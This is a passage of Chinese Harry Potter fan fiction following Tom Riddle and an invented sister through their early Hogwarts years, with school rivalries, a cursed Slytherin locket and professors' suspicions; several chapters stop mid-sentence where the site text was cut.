她的话得到了几个纯血公子小姐的认同,其中也包括她的堂妹柳克丽霞和一个金发碧眼的女生,只不过柳克丽霞虽然站在沃尔布加身边,却一直保持着沉默。那个被沃尔布加针对的麻瓜巫师难过的哭泣了起来,这场闹剧直到邓布利多出现才平息,他负责为大家分院。 尽管凯瑟琳把自己大多数的注意力都放在了观看这场闹剧上面,她也注意到自己的哥哥似乎对沃尔布加的话影响了。他表面上还是如往常一样面无表情,但是攥紧魔杖的手暴露了他此刻的心情。 凯瑟琳不傻,她和哥哥都明白,他们绝不可能是纯血的巫师——要么他们的父亲是麻瓜,要么母亲是。这也就是说,他们必须要忍受自己身体里流淌的有一半的血就是沃尔布加口中“臭烘烘的泥巴种”的血液。 “不必把她的话全部当真。”凯瑟琳轻声对看起来紧绷的汤姆说道。从还没分院开始,她就已经厌恶上沃尔布加了。这种对无法改变的出生的鄙视,是最无奈却又最无法消除的偏见。 在迪佩特宣布晚宴开始之后,在霍格沃茨的日子就开始了。 然而,不幸的是,凯瑟琳被分到和沃尔布加·布莱克一个寝室,除此之外的另一个女生就是在大厅闹剧中,站在柳克丽霞身边的金发碧眼女生——卡米拉·格林格拉斯。她们第一时间就从她口中盘问出了她为什么没有魔杖、也没有分院的原因。这让她们对凯瑟琳的态度更加冷淡,甚至说是嫌弃。 凯瑟琳为此在公共休息室见到汤姆的时候表达了她的不适。 “我知道她们瞧不起我。她们八成把我当成了一个……哑炮。”凯瑟琳和汤姆窝在同一张斯莱特林黑色真皮沙发里的时候,凯瑟琳小声诉苦道。她话中的“哑炮”一词也是从沃尔布加那里听来的,据说沃尔布加的一个舅舅就是因为是哑炮而被布莱克家族除名。 “你当然不是那类人。”汤姆从魔药课本里抬起头,黑色的眼睛望向他妹妹。“我猜想她们只是害怕罢了,毕竟当迪佩特在开学宴会上宣布你的特殊身份的时候,没有人不害怕随时可能失控的定时炸弹——不过,你最了解自己的情况,不是吗?” “我 8. chapter7 《【hp】假如里德尔是个妹控》全本免费阅读 凯瑟琳第二天一大早是被沃尔布加的尖叫吵醒的。同样被吵醒的还有迷迷糊糊探出头来的卡米拉。 只见沃尔布加像是被石化了一样僵硬地保持着一个姿势——她不是真的被石化了,只是被吓得动弹不得而已。她指着一条弓着背站在床边吐着信子虎视眈眈的毒蛇——那条蛇并不是很粗,长得又细又长,蛇身灰黑相间,长在三角形头上的蛇眼闪着红色的光——颤颤巍巍地不敢发出声音。 卡米拉也被吓精神了,她慌忙拉上了床帘,希望能用这种方式让蛇不会发现她。 凯瑟琳则不同,她走下床,轻飘飘地走到了沃尔布加的床边。 “救救我。哑——凯瑟琳。”沃尔布加的求救几乎是从喉咙里挤出来的,她惊恐的眼神在凯瑟琳和毒蛇之间游走。 “我救你,你能给我什么好处?”凯瑟琳问。 “你……你……我为什么要指望你?”沃尔布加一边说着一边抖着手想要去够放在蛇身边的魔杖,但是又怕紧盯着她一举一动的蛇会突然咬她。“卡米拉?卡米拉?你醒了吧,快来帮帮我。” 卡米拉的床帘禁闭着,就像里面的人又陷入了梦乡。 “其实这并没有什么好怕的。“凯瑟琳依旧淡淡地说。随后,她从喉咙里发出了一些奇怪的、类似蛇的嘶嘶的低语声,神奇的是,那条蛇似乎听从了凯瑟琳的指挥,缓慢地离开了沃尔布加的床头,转而爬向连接着黑湖湖水的管道。 “你刚刚对那条蛇说了什么?它好像听懂了你说的话。”沃尔布加为劫后余生感到庆幸的同时,朝凯瑟琳投去了疑惑的眼神,她的表情有些滑稽,因为刚刚被蛇吓出的眼泪还没被擦去,又想要在凯瑟琳这个“哑炮”面前展露她纯血大小姐的骄矜仪态。 “这是我的能力。”凯瑟琳说道,“沃尔布加,别以为没有魔杖的人就施展不了魔法。她掌握的东西也许远比你想象的要多。” 说完,她转身回到自己的床铺边准备换上上课的巫师袍,然后故意发出一声若有若无的讥笑,声音不大不小刚好能穿透卡米拉和沃尔布加的床帘,“原来,以蛇为代表的斯莱特林小姐们还害怕真的蛇呀……” “还有,格林格拉斯小姐,我想你应该不必装睡了。” …… 下午上魔药课的时候,汤姆和凯瑟琳自然而然地成为一组熬制魔药。 “真是有趣。”汤姆一边把干荨麻加入坩埚,一边评价着凯瑟琳的故事。 “花点为了配合你演这出戏,还得游进黑湖里和巨乌贼待上一个早晨……”汤姆说这话的时候,嘴角明显是翘起的,而凯瑟琳知道花点此刻就缠绕在她的右臂上,也许在偷听着他们的谈话。“不过,你做的很好。既让沃尔布加对你产生了畏惧,又离间了布莱克和格林格拉斯……哈哈哈。”汤姆说道,斯拉格霍恩教授正在朝他们的方向走过来,汤姆开始低头在教材上做笔记,他的字写的工工整整,几优雅又美观。 “噢,天呐!简直是完美的魔药!里德尔先生!”斯拉格霍恩先生赞叹道,他的眼睛看了看魔药,又惊喜地看着汤姆。 “您过奖了,先生。”汤姆彬彬有礼地回应,一边谨慎地用魔杖熄灭加热的火焰,一边将他们的疥疮药水成品装进短颈瓶里。 下课后,他们去了图书馆。 汤姆从靠近禁书区的一个书架上取下一本书: 《纯血统名录(未删减)》作 9. chapter8 《【hp】假如里德尔是个妹控》全本免费阅读 霍格沃茨的生活让里德尔兄妹俩大开眼界。尤其是凯瑟琳,尽管她不能参与魁地奇,也不能挥动魔杖,但是无论是前往塔楼的不断变换的楼梯,还是学校飘着的各种幽灵,还是冒着螺旋蒸汽的魔药,一切一切都是那么的神奇。 汤姆·里德尔和黑魔法防御术的梅勒思教授不是很对付。嘉拉迪亚·梅勒思是一名很有经验的老教授,他上课时而会咳嗽,但是却有一种不怒自威的气势。或许正因如此,在开学的第一堂课上,他就和邓布利多一样,眼睛时不时地朝凯瑟琳胸前沉甸甸的挂坠盒看去。他曾经试图询问凯瑟琳和汤姆是否知道这个挂坠盒的来源,汤姆只说这是母亲留下的遗物,他便没再说什么。 邓布利多对凯瑟琳拥有这个挂坠盒并不算很意外,他在去伍氏孤儿院的时候就看到了。当时他的注意力都放在了凯瑟琳的身体状况上,并没有仔细想那个挂坠盒,现在细细想来,觉得这很有可能是萨拉查·斯莱特林的遗物。 如果这样看来,里德尔兄妹会蛇佬腔的事情就不足为奇了。 嗅觉敏锐的梅勒思教授也发现了这一点,尤其是对汤姆·里德尔,他总有一种隐隐的不安。那个一直护着妹妹的小男孩彬彬有礼的表象下似乎隐藏着什么。邓布利多则是在开学之前就对这个在孤儿院里作威作福的男孩有些有着担心。 “阿不思,你说这两个孩子,真的是斯莱特林的后裔么?”一次普通的早餐时间,梅勒思教授和邓布利多教授交头接耳,“我听说过斯莱特林曾经在学校里制造过一个密室,我担心……”他犹犹豫豫地看着专心吃香肠的邓布利多,然后发现有一些南瓜馅饼的汤汁粘在了他棕色的长胡子上。 “我明白,嘉拉迪亚,其实我也有着同样的疑惑——我觉得我们还是再观察观察吧,至少目前来看,汤姆是个很谦虚的孩子,凯瑟琳也很懂事。” “唉,但愿如此吧。”梅勒思端起汤吹了吹,“上节课我问了他们挂坠盒的事情,后面我就再也没有看到凯瑟琳佩戴过了,很难想象十一岁的孩子会如此警惕。”他喝了一口汤。 “现在下任何结论都为时过早。他们的生父母都是从未知的身份,以及凯瑟琳在年幼的时候受到过心理创伤。我希望霍格沃茨能让他们变得更好而不是过得比以前更糟。至于挂坠盒,我觉得嘉拉迪亚,你或许应该考虑和孩子们讲话的时候语气和善一点。” “好吧。确实。我们可能得把更多的经历放在黑魔王身上,他最近的动作是越来越大了。迪佩特先生对此非常苦恼,比起担心两个小孩子,这件事情更值得注意。” 邓布利多的脸色僵硬了一瞬。“你说的对,嘉拉迪亚。” …… 星期一的下午上完变形课之后,凯瑟琳和汤姆和往常一样,踏出教室的门之后往和斯莱特林相反方向的图书馆走去。汤姆像往常一样揉了揉妹妹的头顶,他们嬉笑着说了些什么,然后离开了。 沃尔布加知道机会来了。 在遇蛇事件之后,她越想越觉得就是凯瑟琳搞的鬼,为了报复她,她打上了凯瑟琳挂坠盒的主意。 凯瑟琳在入学头几天曾经把一个金灿灿的沉重的挂坠盒挂在胸前,这大概是什么很值得重视的宝贝。如果她一直戴在脖子上,那反而不好拿走,但是她很快就把挂坠盒收起来了,就在昨天晚上她就确认过,挂坠和就在她行李箱的隔层里面。 尽管她不得不和凯瑟琳一起上课,但是好在她摸清了凯瑟琳和汤姆会在周一变形课之后去图书馆,并且一待就是一晚上,直到宵禁之前才会回公共休息室。 沃尔布加迫不及待地想要看到凯瑟琳发现挂坠盒不见了之后的表情。她和卡米拉一起回到了寝室。卡米拉站在寝室门口,防止凯瑟琳突然回来;沃尔布加则开始尝试打开凯瑟琳的箱子。 轻而易举。 她甚至不用使用阿拉霍洞开咒来破坏箱子的密码锁,因为似乎凯瑟琳已经放松了警惕,懒得每次打乱密码。 “呵……哑炮就是哑炮。”她冷笑起来。 箱子里没什么值得注意的东西,只有两套换洗的没有学院标志的黑色长袍和一些来自医疗翼的药品。沃尔布加拉开箱子的夹层,里面果然放着那个挂坠盒。 “找到了。”她几乎是得意洋洋地说道。 她拿起挂坠盒掂了掂,确实沉甸甸的。上面是一个用细小的绿色钻石襄成的字母“S”,挂坠盒身是由琥珀制成的,只是似乎有些磨损而不透光,链子是铂金制成的。 “看起来确实是值得炫耀的宝贝。”卡米拉也凑过来说道。 忽然,她听见了什么细微的声音,然后盒子开始咔哒咔哒地颤动起来。 沃尔布加吓了一跳,她手一抖,挂坠盒被扔回了箱子里,卡米拉也几乎是瞬移到了寝室门口。 凯瑟琳并没有回来。 “你有没有听到这个挂坠盒好像在说话?”沃尔布加有些慌张地问。 “好像是有什么声音。”卡米拉回答。 “这没啥好怕的。”沃尔布加说,“我家里到处都是黑魔法的产物,小时候我弟弟还想用他新发明出的八条腿鼻烟盒来咬我呢。”说着,她又把挂坠盒捡了起来。 刚一捡起来,那个挂坠盒又开始颤动,嘶嘶的低语声也由小变大。 “它在说什么?”沃尔布加有些恐惧,她想把挂坠盒揣进袍子里,但是盒子一直在抖动。于是她把挂坠盒拿远了一些,尝试把挂坠打开。 但是这个盒子像是被用胶水封住了,纹丝不动。 “什么鬼。”她有些恼怒。然后她的注意力回到了挂坠盒上的那条绿色的蛇——等等?刚刚挂坠盒上有蛇吗? “Steal……Steal……”挂坠盒的嘶嘶声变成了恶魔般的低语,控诉着沃尔布加偷窃的行为。 “啊啊啊啊啊——” 卡米拉在听到沃尔布加的尖叫的时候惊恐地一边说“我去找人。”一边扭头打开门跑走了。 她看到了,她看到沃尔布加被铂金的锁链勒住了脖子,她想要把锁链扯开,但是挂坠盒上一条绿色的蛇眼睛闪着猩红的光,咬住了她的手,她又颤抖着手想要把蛇甩掉,她的周身都泛着一些黑色的颗粒状的黑雾。 如果沃尔布加被挂坠盒整死了,她绝对不能向凯瑟琳承认自己当时在屋里。现在她要做的就是去图书馆假装学习。如果沃尔布加没事,那也没事,她自然不会承认她们曾经进过凯瑟琳的房间,就算她要诬陷她,她可以证明自己在图书馆里,什么也没做——没错,她本来就什么也没做。 她一路跑到图书馆,顺着一排排书架看去,假装在找书,然后终于在靠近禁区的那一排书架看到了正在说话的里德尔兄妹。 汤姆瞥了她一眼,露出一个礼貌的笑容。卡米拉赶忙把视线错开,假装寻找着什么书。里德尔兄妹看见有人走来这里,就离开了。 卡米拉总算松了一口气。她在 10. chapter9 《【hp】假如里德尔是个妹控》全本免费阅读 柳克丽霞那天着实被吓坏了。 卡米拉跑出寝室的时候忘记了关门,柳克丽霞从隔壁寝室走出来的时候就听到“砰”的一声,往大开的门里看去,她的姐姐沃尔布加倒在地上,似乎失去了意识,右手似乎被什么咬了变得红肿,一个金色的挂坠盒掉在她脚边——那个挂坠盒有些眼熟,但是她没有想起来是谁的。她赶忙跑进房间内,沃尔布加脸色有些发青,没有回应她的呼喊,卡米拉和凯瑟琳并不在寝室里,她只好慌慌张张地跑去了医疗翼,让迪瓦伊护士将昏迷的沃尔布加抬走了。 这件事之后,沃尔布加反而对这件事缄口不言,她在那件事之后一个月都带着手套,而且就算过去好久,她都会在迎面碰见凯瑟琳的时候不自觉地挠自己的右手背。 时间过得很快,二年级的时候,沃尔布加的弟弟阿尔法德·布莱克入学了,同年入学的还有来自纯血二十八族的阿布拉克萨斯·马尔福。最引人注目的是一个混血巨人,他比同龄人要高出许多,邓布利多宣布他的名字是鲁伯·海格。当分院帽宣布他被分到格兰芬多的时候,凯瑟琳听到身旁自己的哥哥发出一声微不可查的轻蔑笑声:“一个傻大个,恐怕这破帽子觉得只有格兰芬多这种喜欢四肢发达头脑简单的学生的学员才肯收他……哈哈哈。” 但是凯瑟琳并不这么认为。她曾经在下火车的时候看见海格蹲在地上喂着一条蛇,那时她以为他和他们有着一样的能力——汤姆没有看到,因为他正在和马尔福和布莱克家的少爷交谈。 凯瑟琳蹲到了那个小巨人的身边,他手上拿着一个罐子,里面装着一些蚯蚓。“嗨。你也会跟蛇说话吗?”凯瑟琳问。 “说话?不不,或许从某种意义上,我确实能理解他们的行为,它们是一些挺酷的生物。”那个巨人说道,小蛇吃完他罐子里的蚯蚓,朝海格晃着脑袋说:“谢谢。” “你看,我猜它一定是高兴的。”海格转过头对凯瑟琳说道。 “我也觉得是这样,”凯瑟琳说,“它在感谢你。” “是吗!”海格笑起来,“这些神奇的动物都是通人性的,实在是太吸引人了,我家里还养了一只火蜥蜴和几个炸尾螺——” 他在说神奇生物的时候眼睛里闪着光,但是他的话被走过来的汤姆打断了。“凯瑟琳,怎么就这一会儿的功夫你就要离开我身边?”他伸手把凯瑟琳拽到了他身侧,和身后几个正在警惕地打量着海格和凯瑟琳的纯血少爷介绍道,“是的,这就是我跟你们说的我妹妹,她叫凯瑟琳。” 思绪拉回,时间步入二年级之后,凯瑟琳和哥哥汤姆变得没有那么形影不离了。汤姆想要更多的时间研究更深奥的魔法,而凯瑟琳则喜欢和海格在霍格沃茨寻觅各种神奇生物。 海格的母亲是一个巨人,而他的父亲海格先生是一个普通的巫师,海格在那之后就一直跟着父亲生活。他表示,自己的父亲从来不爱自己的母亲,并且对这个巨人儿子也不算很上心,她的母亲在被赶走后就重新和门当户对的巨人组建了家庭。 “我父亲……他现在身体不好了……”一次,在他们在宵禁后返回城堡时海格说道,“虽然他对我没什么感情,但是我不希望他丢下我一个人。” 凯瑟琳抬头看他,发现有大滴大滴的眼泪从他的眼睛里流出来——大概巨人的眼泪也比普通人要大。 “我在想,这些父母是如此的不负责任。他们明知道混血会给孩子带来不幸,为什么还要为了一己私欲强行这么做呢?”凯瑟琳一边说,一边拿出手帕递给海格。“我和哥哥从出生起就被丢弃在了孤儿院。一开始,我们以为我们的母亲只是普通的麻瓜——毕竟很少有女巫会因为生产而死去,她们体质要好得多。但是直到今年,我和哥哥找遍了全校都没有见到过有关于“里德尔”家族的任何一个人的奖杯或是档案。所以,事实是我们的父亲因为发现了母亲是巫师而设法害死了她……” 说道这里,凯瑟琳的浑身颤栗了一下。 海格看向凯瑟琳,然后他愣住了,不由得打算了凯瑟琳的沉思,“凯茜,你的身后好像有什么黑色的东西……” “是吗?”凯瑟琳回过头看去,只有远处黑色的禁林。 “嗯……没事。大概是我看错了。”海格喃喃自语道。“我在想,或许你的父亲也是受害者呢……我的母亲就是使用了魔法强迫父亲和她在一起的。” …… “站起来,凯瑟琳。”哥哥冷漠而有压迫感的声音在她头顶响起,“你得证明你自己,别让布巴吉教授得逞。” 是的,她得证明自己。她是正常的……女巫。 她得站起来,重新站起来,学习漂浮咒。像这样,握住哥哥的魔杖,然后说…… 她从昏迷中挣扎着想要爬起来,尝试握住哥哥的魔杖,但是拼尽全力发现自己只是睁开了眼睛。 映入眼帘的是哥哥汤姆·里德尔关切的脸而不是教她练习魔咒时的严厉的神色。 “咳……”凯瑟琳尝试发出声音,然后她看到哥哥凝重的表情有了些许松动。他避重就轻,双手正握着她的右手。 “感觉好些了吗,凯瑟琳。”他的声音轻轻地,黑色的眸子里映着她的妹妹。 “我这是……”凯瑟琳有些茫然,尝试提问,但是嗓子哑得厉害,她清了半天嗓子,然后咳出了一些血块。 原本强装镇定的汤姆有些慌张,他伸手擦去妹妹嘴角的血迹,又用清理一新咒清掉了干净了被子上的血迹。 “你没事的……没有什么大事。以后别再学魔咒了。” 凯瑟琳的思绪这才逐渐回笼。 事情的起因是三年级的时候,加入了选修课,汤姆·里德尔选修了所有的课程,其中就包括了麻瓜研究课程的教授是诺亚·布巴吉,他和一个麻瓜结了婚并且有一个刚出生的混血女儿凯瑞迪。 汤姆最讨厌的课程就是占卜和麻瓜研究,占卜是因为他从来没能从水晶球里看到过任何东西,但是又不得不用最优美的语言编造出谎言以获得教授的青睐;至于麻瓜研究,用汤姆的话来说就是“恶心的呕吐物”。诺亚认为纯血巫师的灭绝将会是必然,并且认为纯种的畸形巫师减少是一种可喜的 11. chapter10 《【hp】假如里德尔是个妹控》全本免费阅读 “你看到了吗?麦克米兰?就是里德尔看到博格特的表情?” “看到了!那个博格特什么都变不出来——里德尔是魔鬼吧?别人都是害怕博格特,只有他是让博格特害怕。” “不过还好梅勒思教授准备充分,又放出来一只博格特。并让他不准使用那个什么‘封闭术’?” “但是他念咒的速度太快了,我们根本看不清博格特变成了什么。” “我听说好像是一个人。” “大概是他的家人?马尔福最害怕的就是他父亲。” “不对,不对!我听有人说他们看到的是一个尸体。” “不是吧,我听站在后面的人说不是人形的,是一个长方体,像是棺/材,肯定不是一个人来着。” …… 关于汤姆·里德尔的博格特,这大概会永远是个迷。因为他在意识到自己有所恐惧之后选择了隐藏内心,尽管梅勒思教授费尽心机想要探寻——他确实也得逞了,但是汤姆念咒的速度太快,他没能知道他所见的东西的含义。 上完周五下午最后的两节连堂的黑魔法防御课,他毫不在意其他人的讨论,转身离开了那间教室,前往医疗翼探望妹妹凯瑟琳。 时间倒回半个小时前。 沃尔布加·布莱克正好在汤姆·里德尔之前对付博格特——她的博格特是凯瑟琳在一年级时曾经佩戴过的斯莱特林挂坠盒,那个博格特变成的挂坠盒上盘着一条毒蛇,正嘶嘶地朝她靠近。 “啊!”沃尔布加像是被施了定身咒,被定在原地动弹不得。就在这时,里德尔大跨了一步上前,博格特识别到了离它最近的人,开始不断地变幻,只不过里德尔使用了大脑封闭术——他知道自己在什么时候是最害怕的。但是,他永远不可能把自己的弱点让其他的任何人知晓。 博格特开始变幻,不停地变幻。但是它拿不定主意应该变成什么,眼前人的思想是一片空白。 “嘭”的一声,它自爆了。 汤姆用傲慢又略带歉意的神情看向梅勒思教授,似乎在说:“教授,真是抱歉,没想到这东西直接被我吓死了,根本不需要布莱克小姐使用魔咒。” “很优秀,里德尔先生。”梅勒思教授板着脸,干巴巴地夸了一句。然后继续说,“我不过我希望你能给其他的同学做一个示范,演示一下如何使用魔咒对抗博格特,而不是提前发动大脑封闭术。” 说着,他示意沃尔布加回到队伍中,然后一挥魔杖,衣柜里跳出了第二只博格特。 汤姆的眼睛里寒光一闪,他明白这是梅勒思教授故意的。正常来说像“滑稽滑稽”这样简单的咒语,根本不用每个学生都参与(就比如他并没有坚持让沃尔布加对她害怕的东西施咒),但是他却刻意抓了好几只博格特,势必想要知道汤姆·里德尔这个看似完美的学生究竟有什么害怕的东西。 罢了,汤姆嘴角勾起一个冷笑,不如将计就计,用一个虚假的迷惑一下这个老教授吧。 博格特在感应到汤姆的存在之后,又开始变幻,这回面前的人确实有一些思想,它想它接触到了。 “滑稽滑稽!” 几乎是博格特定型的一个瞬间,汤姆的咒语就已经发出。那个模糊的长方体迅速缩小并变成了一个火柴盒。 汤姆的身后爆发出热烈的喝彩声和崇拜的感叹声。汤姆冷酷的眼睛眯成了一条线,又看向梅勒思教授等待他的评价。 “非常优秀,里德尔先生。下一位!”梅勒思教授感受到了来自汤姆里德尔恶意的目光,赶紧喊了下一个学生以甩掉这个烫手的山芋。 尽管里德尔的速度足够快,但梅勒思还是确定他看到的是一口棺/材。但是他不能确定汤姆到底害怕的是什么。谁躺在里面?他是在害怕谁的离去?还是说,他害怕的就是死亡本身,躺在棺材里面的就是他自己? 还有,沃尔布加最害怕的是凯瑟琳·里德尔的那个挂坠盒?这一切都令他感到费解,或许自己该找时间和邓布利多教授聊一聊。 * 汤姆已经到了医疗翼,凯瑟琳看起来已经好多了,在得知诺亚取消了关于默然者与麻瓜的关系的课程之后,她显得轻松了不少,至于其他学生异样的眼光……她相信哥哥有办法让他们闭嘴。 看见汤姆走进来,她的眼睛亮了,从床上坐起来扬了扬手中的两个签字表格。 “哥哥 12. chapter11 《【hp】假如里德尔是个妹控》全本免费阅读 猪头酒吧是霍格莫德村里的小酒吧。 从中央大道的邮局出来拐进旁边的一条小路,猪头酒吧就建在路口的左手边。破破烂烂的木头招牌悬挂在门上锈迹斑斑的支架上,上面画着一个被砍下来的猪头,血迹渗透了包着它的白布。 当凯瑟琳小心地舔着他们在蜜蜂公爵买的糖果和哥哥站在这个酒吧门口的时候(酒吧的门敞开着),一个戴着兜帽的人正垂头丧气地从酒吧里走出来。 “先生,请问这里面就是猪头酒吧了吗?”凯瑟琳问。 “……是的。”那个戴着兜帽的人的脚步顿住了,他仔细地端详了一下说话的凯瑟琳,又看了一眼站在她身后的汤姆。“好心劝你们一句,这里可不比三把扫帚。我是说,要进去玩最好把脸遮起来。” “什么意思?”汤姆问。 “就是字面意思。戴上兜帽或者面纱什么的……”那个戴着兜帽的人嘟囔着离开了。 凯瑟琳和汤姆扭头目送那个人走远,凯瑟琳问,“那我们还进去吗?” “进去看看。”汤姆不屑地说着,抬腿走进了那扇木门。 这间有几百年历史的狭窄肮脏的小酒吧,几扇窗户上积着厚厚的污垢,光线几乎透不进来,粗糙的木头桌子上点着一些蜡烛。一切几乎都很脏,从地板到屋顶,甚至连黄油啤酒的瓶子上都积着厚厚的一层灰。整个酒馆一楼只有一间又小又脏的屋子,空气里充满一种强烈的羊膻味。 汤姆和凯瑟琳在进来后环顾四周,正如刚才在门口看见的那个兜帽巫师所说,在酒吧里的人都喜欢把自己遮得严严实实的。有一个戴着黑色面纱的女巫坐在吧台前独酌,她的脚底下有有三条小狗正绕来绕去,一个脸上缠满绷带如木乃伊的巫师坐在酒吧靠窗的卡座,透过窗户上厚厚的污垢往外看,除此外只剩下两个帽檐压得低低的年轻巫师面对面地坐在木制方桌前,一人一杯冒着泡沫的黄油啤酒。 酒吧里很安静,只能听见那两个年轻巫师的低语和冰块碰撞的声音。里德尔兄妹俩走到吧台前,寻找着酒吧的老板,等了半晌,才看到一个中年人从柜台后面的一扇门里面走出来。 刚看到他的脸的时候,兄妹俩都吓了一跳——邓布利多难道还在猪头酒吧兼职?但是仔细一看就能发现他们长相和气质的不同。 “第一次来霍格莫德的小朋友……看看要买点什么?”这个酒吧招待眯着眼睛端详着眼前的男女,他们看上去有些像,可能是兄妹——但是更让他感兴趣的是那个女孩子,她目光好奇,但是她身后似乎寄生着什么黑影。 长期和默然者打交道的阿不福思很敏锐地察觉了这一点。没想到,他刚从儿子克雷登斯的卧室里出来,就有意外地碰到了前几年他所听说的,哥哥阿不思良心发现一般破格招收的一个默然者学生。 现在看来,三年前她还不算默然者,但是这三年在霍格沃茨的学习生活并未改善她的心里条件,反而加重了她的病情。 凯瑟琳端详着眼前的中年人,然后确认他绝对不是邓布利多教授。尽管他们有着几乎一模一样的棕色长胡子和棕灰色头发,并且身材高瘦,但是眼前的人看上去脾气更古怪,蓝眼睛里也没有邓布利多教授那样的亲和和暖意。 “来两杯黄油啤酒吧!”凯瑟琳说。 “一共四加隆。”那个招待又看了一眼凯瑟琳,转头开始制作,然后忽然像是想到什么似的,又问:“你们肯定没有自己带杯子吧?” “啊?我们还需要自己带杯子吗?” “呵呵,看来弗立维教授这回忘记跟你们说了啊……”那个招待一边小声嘲笑,一边从柜子上取出两个看起来不大干净的玻璃杯开始制作黄油啤酒。 “先生……其实我们有一个问题。”从进来就没有说过话的汤姆终于开口了,他一边把金加隆递给这个招待,一边尝试说道。 “我知道你们 13. chapter12 《【hp】假如里德尔是个妹控》全本免费阅读 阿不思·邓布利多又和嘉拉迪亚·梅勒思一起坐在三把扫帚酒吧里了,他们面对面坐着,周围来来往往走动着许多享受周末的巫师和学生。 梅勒思看起来愁容满面,一只枯瘦的手托着喝得有些酡红的腮帮子,盯着黄油啤酒的浮沫,而邓布利多则穿着一身干净的深紫色袍子,看起来神采奕奕。 “阿不思,我愈发觉得汤姆·里德尔这孩子令人捉摸不透。”梅勒思叹着气说道,“他根本不如他所表现的那样谦虚……我的意思是,我感觉他藏得很深。” “哦?”邓布利多挑了挑眉头,很显然他对这个话题也有着兴趣。“我从其他学生那里有所耳闻,在博格特的那堂课上他使用了大脑封闭术让那个博格特自爆了。你当时就在现场,是有什么发现吗?” “当然,阿不思,这也是今天我要来找你谈谈的原因。”梅勒思神色变得更加紧张,他左右看了看,确认了没有人正在偷听他们的对话,才压低声音对邓布利多说话:“我想我看到了他的博格特。我不相信真的有什么完美的人,他果然有害怕的东西,而且我看到了。是一口棺/材。” “嗯……这很有意思……”邓布利多一边说,一边喝蜂蜜水,比起梅勒思的警惕,他看起来更加放松,“嘉拉迪亚,我很赞同你对里德尔的观察结果。这孩子绝对不甘心只当一个平凡的巫师,而且,他看起来要比同龄人有城府很多。我和你有同样的担心,但是现在不好下结论,你也不用太紧张。” “那么你是怎么想的呢,阿不思?继续保持现状吗?” “别把我当成傻瓜,嘉拉迪亚。我跟你说说关于时间转换器的事情。里德尔从去年开始就向我询问了时间转换器的事情,并且为了逼我向魔法部申请时间转换器,他直接选了五门选修课。” “然后呢?” “我拒绝了他。我很担心他把时间转换器用在他妹妹身上,或者研究其更黑暗的用途。所以我告诉了他用时间转换器的风险有多大,并且在今年排课的时候把五门选修课的时间都错开了,也就是说,他不需要使用时间转换器就能上完十二门课。” “你绝对会被记恨上的,阿不思。里德尔这孩子绝对不像表面上看着那么彬彬有礼。况且,你不担心他会去偷时间转换器吗?” “他不会的。”邓布利多冷静地说,他喝干了蜂蜜水,又招手让招待重新满上。“至少现在不会。以他的能力,目前魔法部他是进不去的。至于未来他会如何,谁又说的准呢?再说了,时间转换器的危害我已经跟他说的很清楚,即使他以后真的勇气使用,那么也要看他能否承受的住快速衰老死亡的报应。” “我明白了,阿不思。我猜测,他害怕的是死亡,因此他不敢轻易地改变过去的轨迹,更不敢碰距离死亡最近的‘时间’。” “我也是这么想的。”邓布利多说。 “那么凯瑟琳呢?据我所知,她的状态不太好……已经初步形成默默然了。我猜测迪佩特校长知道后会把她开除。真希望汤姆也能被一并开除。” 在梅勒思教授这句话结束后,邓布利多半晌没有说话,然后他又说:“我有的时候在想破格让凯瑟琳进入霍格沃茨的决定是否是正确的。但是把凯瑟琳藏在霍格沃茨,也好过让格林德沃再次发现可以壮大他力量的武器。毕竟我们现在的首要任务是对付格林德沃。” “我的意思是,其实我并不在乎凯瑟琳会不会被开除。我更关心的是汤姆。他身上似乎有黑魔法的气息——尽管他藏得很深。我担心——” “你相信‘命债’么?嘉拉迪亚?”邓布利多一边点头,一边发问。 “什么?” “说白了,就是因果报应。我信。这个人生前犯下的罪孽最终都会报应到自己身上,所以你不用刻意去干扰他的人生,反而会引火烧身;我们只需要做好一个老师的分内之事,尽可能因他走上正路,但至于他做出什么样的选择,我们没有能力做审判。” “不,我不这么认为。阿不思,你这是逃避主义。什么时候你也开始逃避问题了?是从格林德沃撕下伪装的时候吗?”梅勒思生气地反驳道。 “我没有。”邓布利多还是淡淡地说,微微抬头,眼角的余光撇到了挂在吊灯上的一条蛇。 “没有?哼。那就让我们各自保留不同的意见吧,阿不思。我会继续监视里德尔的。”梅勒思一边说,一边起身。 “小心偷听者,嘉拉迪亚。”邓布利多依旧坐在位置上,看起来很轻松。 “什么?哪里——”梅勒思环顾四周,然后看到了挂在吊灯上的一条花斑蛇。“我懂了……呵呵呵。蛇佬腔的小把戏罢了。”说着,梅勒思掏出魔杖,趁着那条蛇还没有溜走,施了咒语,那条蛇像石头一样掉了下来,然后被梅勒思收进了一个袋子里。“那么,回头见,阿不思。” * 凯瑟琳和汤姆一样讨厌占卜课。但是他们的讨厌还是有区别的。 卡桑德拉·特里劳妮是一位著名的占卜大师,她年轻的时候的工作是为其他人占卜,据说她有着一双“天眼”,可以发出绝对正确的预言。从占卜屋退休后,她被迪佩特聘请来做占卜课的老师,汤姆对她的话深信不疑,而凯瑟琳则觉得她是一个有些神经过敏的老太太。 当然,这不是凯瑟琳讨厌占卜课的主要原因。她非常反感特里劳妮教授总是在课上盯着她的双眼,还有探究的眼神。她时而在面试的时候说出“你身上有黑色的气息”,或者“你将要死去”之类的话。这让凯瑟琳感觉非常不舒服——不过万幸的是,面试时一次只能进入一个学生,所以沃尔布加和卡米拉都不会听到特里劳妮的预言。 至于汤姆,特里劳妮教授总是嘲讽他“没有一点预言的天赋”,并且“最终会走向失败”。汤姆尽管厌恶特里劳妮,但是却为了自己的成绩不得不努力在写作业时胡编乱造。 “等 14. chapter13 《【hp】假如里德尔是个妹控》全本免费阅读 花点已经失踪半年多了。 失去宠物蛇之后凯瑟琳感受到了没有神奇动物陪伴的孤独。汤姆答应她会再去找一只,但是一整个暑假,他都把自己关在自己的房间里做“魔法研究”,当三年级暑假结束返校的时候,他整个人看起来瘦了一大圈,但是看起来更加英俊了。 回到学校里,新生会上,沃尔布加的表弟奥赖恩·布莱克入学了,他坐在表姐的身边,脸上有着纯血公子通用的傲慢神情。 星期四吃过午饭,是四年级的黑魔法防御课。汤姆和凯瑟琳都很激动,但是激动的原因各不相同: “你知道吗?我暑假的时候研究了课本,按照进度,这节课该学‘不可饶恕’咒了!你知道吗!凯瑟琳!最厉害的咒语!”他满脸崇敬,神采奕奕。 凯瑟琳则是因为很久没有和哥哥并排一起走去上课而感到高兴。“是吗。不知道梅勒思教授会怎么教这个。”她附和道。 